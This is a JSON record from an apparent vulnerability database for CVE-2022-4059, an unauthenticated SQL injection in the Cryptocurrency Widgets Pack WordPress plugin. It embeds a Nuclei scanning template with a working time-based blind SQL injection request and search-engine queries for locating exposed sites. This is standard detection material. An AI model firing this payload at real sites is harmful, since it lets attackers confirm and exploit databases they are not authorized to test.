{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-4059/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-4059/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-4059/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-4059/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-4059/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-4059"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-4059"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-4059.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2022-4059\n\ninfo:\n  name: Cryptocurrency Widgets Pack < 2.0 - SQL Injection\n  author: r3Y3r53\n  severity: critical\n  description: |\n    The plugin does not sanitise and escape some parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.\n  impact: |\n    Unauthenticated attackers can execute time-based blind SQL injection through the columns[0][name] parameter in the mcwp_table AJAX action, potentially extracting sensitive database information including cryptocurrency data, user credentials, and plugin configuration.\n  remediation: |\n    Fixed in version 2.0\n  reference:\n    - https://wpscan.com/vulnerability/d94bb664-261a-4f3f-8cc3-a2db8230895d\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-4059\n    - https://github.com/cyllective/CVEs\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-4059\n    cwe-id: CWE-89\n    epss-score: 0.04795\n    epss-percentile: 0.916\n    cpe: cpe:2.3:a:blocksera:cryptocurrency_widgets_pack:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: blocksera\n    product: cryptocurrency_widgets_pack\n    framework: wordpress\n    shodan-query: http.html:/wp-content/plugins/cryptocurrency-widgets-pack/\n    fofa-query: body=/wp-content/plugins/cryptocurrency-widgets-pack/\n    publicwww-query: /wp-content/plugins/cryptocurrency-widgets-pack/\n  tags: time-based-sqli,cve,cve2022,wp,wp-plugin,wordpress,wpscan,sqli,blocksera,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        @timeout: 20s\n        GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&order[0][column]=0&columns[0][name]=name+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))aaaa)--+- HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /wp-content/plugins/cryptocurrency-widgets-pack/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration_1>=7'\n          - 'len(body_1) == 0'\n          - 'status_code_1 == 302'\n          - 'contains(body_2, \"Cryptocurrency Widgets Pack\")'\n        condition: and\n# digest: 4b0a00483046022100b21c0dcd2051e78503c9c83add9dce476f5feab490a3ca8eada28c39f974f4a302210099b1609d379f2bd4441befeb704c34fed37c1fb8e8adb384362c1b7a8105894b:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-4059"
}